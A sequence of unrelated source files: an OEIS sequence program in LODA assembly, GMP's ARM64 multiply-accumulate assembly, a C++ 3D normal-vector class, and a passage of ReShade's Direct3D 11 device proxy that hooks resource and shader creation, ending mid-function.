; A058794: Row 3 of A007754. ; 2,18,52,110,198,322,488,702,970,1298,1692,2158,2702,3330,4048,4862,5778,6802,7940,9198,10582,12098,13752,15550,17498,19602,21868,24302,26910,29698,32672,35838,39202,42770,46548,50542,54758,59202,63880,68798,73962,79378,85052,90990,97198,103682,110448,117502,124850,132498,140452,148718,157302,166210,175448,185022,194938,205202,215820,226798,238142,249858,261952,274430,287298,300562,314228,328302,342790,357698,373032,388798,405002,421650,438748,456302,474318,492802,511760,531198,551122,571538 mov $1,$0 add $1,3 pow $1,2 mul $0,$1 add $0,2
dnl ARM64 mpn_addmul_1 and mpn_submul_1 dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2013, 2015, 2017 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C Cortex-A53 9.3-9.8 C Cortex-A57 7.0 C X-Gene 5.0 C NOTES C * It is possible to keep the carry chain alive between the addition blocks C and thus avoid csinc, but only for addmul_1. Since that saves no time C on the tested pipelines, we keep addmul_1 and submul_1 similar. C * We could separate feed-in into 4 blocks, one for each residue (mod 4). C That is likely to save a few cycles. changecom(blah) define(`rp', `x0') define(`up', `x1') define(`n', `x2') define(`v0', `x3') ifdef(`OPERATION_addmul_1', ` define(`ADDSUB', adds) define(`ADDSUBC', adcs) define(`COND', `cc') define(`func', mpn_addmul_1)') ifdef(`OPERATION_submul_1', ` define(`ADDSUB', subs) define(`ADDSUBC', sbcs) define(`COND', `cs') define(`func', mpn_submul_1)') MULFUNC_PROLOGUE(mpn_addmul_1 mpn_submul_1) PROLOGUE(func) adds x15, xzr, xzr tbz n, #0, L(1) ldr x4, [up],#8 mul x8, x4, v0 umulh x12, x4, v0 ldr x4, [rp] ADDSUB x8, x4, x8 csinc x15, x12, x12, COND str x8, [rp],#8 L(1): tbz n, #1, L(2) ldp x4, x5, [up],#16 mul x8, x4, v0 umulh x12, x4, v0 mul x9, x5, v0 umulh x13, x5, v0 adds x8, x8, x15 adcs x9, x9, x12 ldp x4, x5, [rp] adc x15, x13, xzr ADDSUB x8, x4, x8 ADDSUBC x9, x5, x9 csinc x15, x15, x15, COND stp x8, x9, [rp],#16 L(2): lsr n, n, #2 cbz n, L(le3) ldp x4, x5, [up],#32 ldp x6, x7, [up,#-16] b L(mid) L(le3): mov x0, x15 ret ALIGN(16) L(top): ldp x4, x5, [up],#32 ldp x6, x7, [up,#-16] ADDSUB x8, x16, x8 ADDSUBC x9, x17, x9 stp x8, x9, [rp],#32 ADDSUBC x10, x12, x10 ADDSUBC x11, x13, x11 stp x10, x11, [rp,#-16] csinc x15, x15, x15, COND L(mid): sub n, n, #1 mul x8, x4, v0 umulh x12, x4, v0 mul x9, x5, v0 umulh x13, x5, v0 adds x8, x8, x15 mul x10, x6, v0 umulh x14, x6, v0 adcs x9, x9, x12 mul x11, x7, v0 umulh x15, x7, v0 adcs x10, x10, x13 ldp x16, x17, [rp] adcs x11, x11, x14 ldp x12, x13, [rp,#16] adc x15, x15, xzr cbnz n, L(top) ADDSUB x8, x16, x8 ADDSUBC x9, x17, x9 ADDSUBC x10, x12, x10 ADDSUBC x11, x13, x11 stp x8, x9, [rp] stp x10, x11, [rp,#16] csinc x0, x15, x15, COND ret EPILOGUE()
#include <torch/Normal.h> #include <cmath> #include <torch/Vector.h> namespace torch { Normal::Normal() : x(0), y(0), z(0) { } Normal::Normal(float x, float y, float z) : x(x), y(y), z(z) { } Normal::Normal(const Vector& v) : x(v.x), y(v.y), z(v.z) { } Normal Normal::operator-() const { return Normal(-x, -y, -z); } Normal Normal::operator+(const Normal& v) const { return Normal(x + v.x, y + v.y, z + v.z); } Normal& Normal::operator+=(const Normal& v) { x += v.x; y += v.y; z += v.z; return *this; } Normal Normal::operator-(const Normal& v) const { return Normal(x - v.x, y - v.y, z - v.z); } Normal& Normal::operator-=(const Normal& v) { x -= v.x; y -= v.y; z -= v.z; return *this; } Normal Normal::operator*(float f) const { return Normal(x * f, y * f, z * f); } Normal& Normal::operator*=(float f) { x *= f; y *= f; z *= f; return *this; } Normal Normal::operator/(float f) const { return Normal(x / f, y / f, z / f); } Normal& Normal::operator/=(float f) { x /= f; y /= f; z /= f; return *this; } float Normal::operator*(const Normal& v) const { return x * v.x + y * v.y + z * v.z; } float Normal::operator[](int i) const { return (&x)[i]; } float&Normal::operator[](int i) { return (&x)[i]; } float Normal::LengthSquared() const { return (*this) * (*this); } float Normal::Length() const { return std::sqrt(LengthSquared()); } Normal Normal::Normalize() const { return (*this) / Length(); } Normal operator*(float f, const Normal& p) { return p * f; } } // namespace torch
/* * Copyright (C) 2014 Patrick Mours. All rights reserved. * License: https://github.com/crosire/reshade#license */ #include "dll_log.hpp" #include "d3d11_device.hpp" #include "d3d11_device_context.hpp" #include "dxgi/dxgi_device.hpp" #include "reshade_api_type_convert.hpp" D3D11Device::D3D11Device(IDXGIDevice1 *dxgi_device, ID3D11Device *original) : device_impl(original), _interface_version(0), _dxgi_device(new DXGIDevice(dxgi_device, this)) { assert(_orig != nullptr); // Add proxy object to the private data of the device, so that it can be retrieved again when only the original device is available (as is the case in the OpenVR hooks) D3D11Device *const device_proxy = this; _orig->SetPrivateData(__uuidof(D3D11Device), sizeof(device_proxy), &device_proxy); } bool D3D11Device::check_and_upgrade_interface(REFIID riid) { if (riid == __uuidof(this)) // IUnknown is handled by DXGIDevice return true; static const IID iid_lookup[] = { __uuidof(ID3D11Device), __uuidof(ID3D11Device1), __uuidof(ID3D11Device2), __uuidof(ID3D11Device3), __uuidof(ID3D11Device4), __uuidof(ID3D11Device5), }; for (unsigned int version = 0; version < ARRAYSIZE(iid_lookup); ++version) { if (riid != iid_lookup[version]) continue; if (version > _interface_version) { IUnknown *new_interface = nullptr; if (FAILED(_orig->QueryInterface(riid, reinterpret_cast<void **>(&new_interface)))) return false; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "Upgraded ID3D11Device" << _interface_version << " object " << this << " to ID3D11Device" << version << '.'; #endif _orig->Release(); _orig = static_cast<ID3D11Device *>(new_interface); _interface_version = version; } return true; } return false; } HRESULT STDMETHODCALLTYPE D3D11Device::QueryInterface(REFIID riid, void **ppvObj) { if (ppvObj == nullptr) return E_POINTER; if (check_and_upgrade_interface(riid)) { AddRef(); *ppvObj = this; return S_OK; } // Note: Objects must have an identity, so use DXGIDevice for IID_IUnknown // See https://docs.microsoft.com/windows/desktop/com/rules-for-implementing-queryinterface if (_dxgi_device->check_and_upgrade_interface(riid)) { _dxgi_device->AddRef(); *ppvObj = _dxgi_device; return S_OK; } return _orig->QueryInterface(riid, ppvObj); } ULONG STDMETHODCALLTYPE D3D11Device::AddRef() { _orig->AddRef(); // Add references to other objects that are coupled with the device _dxgi_device->AddRef(); _immediate_context->AddRef(); return InterlockedIncrement(&_ref); } ULONG STDMETHODCALLTYPE D3D11Device::Release() { // Release references to other objects that are coupled with the device _immediate_context->Release(); // Release context before device since it may hold a reference to it _dxgi_device->Release(); const ULONG ref = InterlockedDecrement(&_ref); if (ref != 0) return _orig->Release(), ref; const auto orig = _orig; const auto interface_version = _interface_version; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "Destroying " << "ID3D11Device" << interface_version << " object " << this << " (" << orig << ")."; #endif delete this; // Note: At this point the immediate context should have been deleted by the release above (so do not access it) const ULONG ref_orig = orig->Release(); if (ref_orig != 0) // Verify internal reference count LOG(WARN) << "Reference count for " << "ID3D11Device" << interface_version << " object " << this << " (" << orig << ") is inconsistent (" << ref_orig << ")."; return 0; } HRESULT STDMETHODCALLTYPE D3D11Device::CreateBuffer(const D3D11_BUFFER_DESC *pDesc, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Buffer **ppBuffer) { #if RESHADE_ADDON if (pDesc == nullptr) return E_INVALIDARG; D3D11_BUFFER_DESC new_desc = *pDesc; static_assert(sizeof(*pInitialData) == sizeof(reshade::api::subresource_data)); HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppBuffer](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::buffer) return false; reshade::d3d11::convert_resource_desc(desc, new_desc); hr = _orig->CreateBuffer(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppBuffer); if (SUCCEEDED(hr)) { if (ppBuffer != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppBuffer); return true; } else { LOG(WARN) << "ID3D11Device::CreateBuffer" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | ByteWidth | " << std::setw(39) << new_desc.ByteWidth << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(new_desc), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return _orig->CreateBuffer(pDesc, pInitialData, ppBuffer); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateTexture1D(const D3D11_TEXTURE1D_DESC *pDesc, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Texture1D **ppTexture1D) { #if RESHADE_ADDON if (pDesc == nullptr) return E_INVALIDARG; D3D11_TEXTURE1D_DESC new_desc = *pDesc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppTexture1D](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::texture_1d) return false; reshade::d3d11::convert_resource_desc(desc, new_desc); hr = _orig->CreateTexture1D(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppTexture1D); if (SUCCEEDED(hr)) { if (ppTexture1D != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppTexture1D); return true; } else { LOG(WARN) << "ID3D11Device::CreateTexture1D" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | Width | " << std::setw(39) << new_desc.Width << " |"; LOG(DEBUG) << " | MipLevels | " << std::setw(39) << new_desc.MipLevels << " |"; LOG(DEBUG) << " | ArraySize | " << std::setw(39) << new_desc.ArraySize << " |"; LOG(DEBUG) << " | Format | " << std::setw(39) << new_desc.Format << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(new_desc), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return _orig->CreateTexture1D(pDesc, pInitialData, ppTexture1D); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateTexture2D(const D3D11_TEXTURE2D_DESC *pDesc, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Texture2D **ppTexture2D) { #if RESHADE_ADDON if (pDesc == nullptr) return E_INVALIDARG; D3D11_TEXTURE2D_DESC new_desc = *pDesc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppTexture2D](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::texture_2d) return false; reshade::d3d11::convert_resource_desc(desc, new_desc); hr = _orig->CreateTexture2D(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppTexture2D); if (SUCCEEDED(hr)) { if (ppTexture2D != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppTexture2D); return true; } else { LOG(WARN) << "ID3D11Device::CreateTexture2D" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | Width | " << std::setw(39) << new_desc.Width << " |"; LOG(DEBUG) << " | Height | " << std::setw(39) << new_desc.Height << " |"; LOG(DEBUG) << " | MipLevels | " << std::setw(39) << new_desc.MipLevels << " |"; LOG(DEBUG) << " | ArraySize | " << std::setw(39) << new_desc.ArraySize << " |"; LOG(DEBUG) << " | Format | " << std::setw(39) << new_desc.Format << " |"; LOG(DEBUG) << " | SampleCount | " << std::setw(39) << new_desc.SampleDesc.Count << " |"; LOG(DEBUG) << " | SampleQuality | " << std::setw(39) << new_desc.SampleDesc.Quality << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(new_desc), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return _orig->CreateTexture2D(pDesc, pInitialData, ppTexture2D); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateTexture3D(const D3D11_TEXTURE3D_DESC *pDesc, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Texture3D **ppTexture3D) { #if RESHADE_ADDON if (pDesc == nullptr) return E_INVALIDARG; D3D11_TEXTURE3D_DESC new_desc = *pDesc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppTexture3D](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::texture_3d) return false; reshade::d3d11::convert_resource_desc(desc, new_desc); hr = _orig->CreateTexture3D(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppTexture3D); if (SUCCEEDED(hr)) { if (ppTexture3D != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppTexture3D); return true; } else { LOG(WARN) << "ID3D11Device::CreateTexture3D" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | Width | " << std::setw(39) << new_desc.Width << " |"; LOG(DEBUG) << " | Height | " << std::setw(39) << new_desc.Height << " |"; LOG(DEBUG) << " | Depth | " << std::setw(39) << new_desc.Depth << " |"; LOG(DEBUG) << " | MipLevels | " << std::setw(39) << new_desc.MipLevels << " |"; LOG(DEBUG) << " | Format | " << std::setw(39) << new_desc.Format << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(new_desc), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return _orig->CreateTexture3D(pDesc, pInitialData, ppTexture3D); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateShaderResourceView(ID3D11Resource *pResource, const D3D11_SHADER_RESOURCE_VIEW_DESC *pDesc, ID3D11ShaderResourceView **ppSRView) { #if RESHADE_ADDON if (pResource == nullptr) // This can happen if the passed resource failed creation previously, but application did not do error checking to catch that return E_INVALIDARG; D3D11_SHADER_RESOURCE_VIEW_DESC new_desc = pDesc != nullptr ? *pDesc : D3D11_SHADER_RESOURCE_VIEW_DESC { DXGI_FORMAT_UNKNOWN, D3D11_SRV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppSRView](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::shader_resource) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = _orig->CreateShaderResourceView(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_SRV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppSRView); if (SUCCEEDED(hr)) { if (ppSRView != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppSRView); return true; } else { LOG(WARN) << "ID3D11Device::CreateShaderResourceView" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::shader_resource, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return _orig->CreateShaderResourceView(pResource, pDesc, ppSRView); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateUnorderedAccessView(ID3D11Resource *pResource, const D3D11_UNORDERED_ACCESS_VIEW_DESC *pDesc, ID3D11UnorderedAccessView **ppUAView) { #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_UNORDERED_ACCESS_VIEW_DESC new_desc = pDesc != nullptr ? *pDesc : D3D11_UNORDERED_ACCESS_VIEW_DESC { DXGI_FORMAT_UNKNOWN, D3D11_UAV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppUAView](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::unordered_access) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = _orig->CreateUnorderedAccessView(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_UAV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppUAView); if (SUCCEEDED(hr)) { if (ppUAView != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppUAView); return true; } else { LOG(WARN) << "ID3D11Device::CreateUnorderedAccessView" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::unordered_access, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return _orig->CreateUnorderedAccessView(pResource, pDesc, ppUAView); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateRenderTargetView(ID3D11Resource *pResource, const D3D11_RENDER_TARGET_VIEW_DESC *pDesc, ID3D11RenderTargetView **ppRTView) { #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_RENDER_TARGET_VIEW_DESC new_desc = pDesc != nullptr ? *pDesc : D3D11_RENDER_TARGET_VIEW_DESC { DXGI_FORMAT_UNKNOWN, D3D11_RTV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppRTView](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::render_target) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = _orig->CreateRenderTargetView(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_RTV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppRTView); if (SUCCEEDED(hr)) { if (ppRTView != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppRTView); return true; } else { LOG(WARN) << "ID3D11Device::CreateRenderTargetView" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::render_target, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return _orig->CreateRenderTargetView(pResource, pDesc, ppRTView); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDepthStencilView(ID3D11Resource *pResource, const D3D11_DEPTH_STENCIL_VIEW_DESC *pDesc, ID3D11DepthStencilView **ppDepthStencilView) { #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_DEPTH_STENCIL_VIEW_DESC new_desc = pDesc != nullptr ? *pDesc : D3D11_DEPTH_STENCIL_VIEW_DESC { DXGI_FORMAT_UNKNOWN, D3D11_DSV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppDepthStencilView](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::depth_stencil) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = _orig->CreateDepthStencilView(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_DSV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppDepthStencilView); if (SUCCEEDED(hr)) { if (ppDepthStencilView != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppDepthStencilView); return true; } else { LOG(WARN) << "ID3D11Device::CreateDepthStencilView" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::depth_stencil, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return _orig->CreateDepthStencilView(pResource, pDesc, ppDepthStencilView); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateInputLayout(const D3D11_INPUT_ELEMENT_DESC *pInputElementDescs, UINT NumElements, const void *pShaderBytecodeWithInputSignature, SIZE_T BytecodeLength, ID3D11InputLayout **ppInputLayout) { return _orig->CreateInputLayout(pInputElementDescs, NumElements, pShaderBytecodeWithInputSignature, BytecodeLength, ppInputLayout); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateVertexShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11VertexShader **ppVertexShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_vertex_shader }; desc.graphics.vertex_shader.code = pShaderBytecode; desc.graphics.vertex_shader.code_size = BytecodeLength; desc.graphics.vertex_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppVertexShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_vertex_shader || desc.graphics.vertex_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateVertexShader(desc.graphics.vertex_shader.code, desc.graphics.vertex_shader.code_size, pClassLinkage, ppVertexShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateVertexShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateVertexShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppVertexShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateGeometryShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11GeometryShader **ppGeometryShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_geometry_shader }; desc.graphics.geometry_shader.code = pShaderBytecode; desc.graphics.geometry_shader.code_size = BytecodeLength; desc.graphics.geometry_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppGeometryShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_geometry_shader || desc.graphics.geometry_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateGeometryShader(desc.graphics.geometry_shader.code, desc.graphics.geometry_shader.code_size, pClassLinkage, ppGeometryShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateGeometryShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateGeometryShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppGeometryShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateGeometryShaderWithStreamOutput(const void *pShaderBytecode, SIZE_T BytecodeLength, const D3D11_SO_DECLARATION_ENTRY *pSODeclaration, UINT NumEntries, const UINT *pBufferStrides, UINT NumStrides, UINT RasterizedStream, ID3D11ClassLinkage *pClassLinkage, ID3D11GeometryShader **ppGeometryShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_geometry_shader }; desc.graphics.geometry_shader.code = pShaderBytecode; desc.graphics.geometry_shader.code_size = BytecodeLength; desc.graphics.geometry_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pSODeclaration, NumEntries, pBufferStrides, NumStrides, RasterizedStream, pClassLinkage, ppGeometryShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_geometry_shader || desc.graphics.geometry_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateGeometryShaderWithStreamOutput(desc.graphics.geometry_shader.code, desc.graphics.geometry_shader.code_size, pSODeclaration, NumEntries, pBufferStrides, NumStrides, RasterizedStream, pClassLinkage, ppGeometryShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateGeometryShaderWithStreamOutput" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateGeometryShaderWithStreamOutput(pShaderBytecode, BytecodeLength, pSODeclaration, NumEntries, pBufferStrides, NumStrides, RasterizedStream, pClassLinkage, ppGeometryShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreatePixelShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11PixelShader **ppPixelShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_pixel_shader }; desc.graphics.pixel_shader.code = pShaderBytecode; desc.graphics.pixel_shader.code_size = BytecodeLength; desc.graphics.pixel_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppPixelShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_pixel_shader || desc.graphics.pixel_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreatePixelShader(desc.graphics.pixel_shader.code, desc.graphics.pixel_shader.code_size, pClassLinkage, ppPixelShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreatePixelShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreatePixelShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppPixelShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateHullShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11HullShader **ppHullShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_hull_shader }; desc.graphics.hull_shader.code = pShaderBytecode; desc.graphics.hull_shader.code_size = BytecodeLength; desc.graphics.hull_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppHullShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_hull_shader || 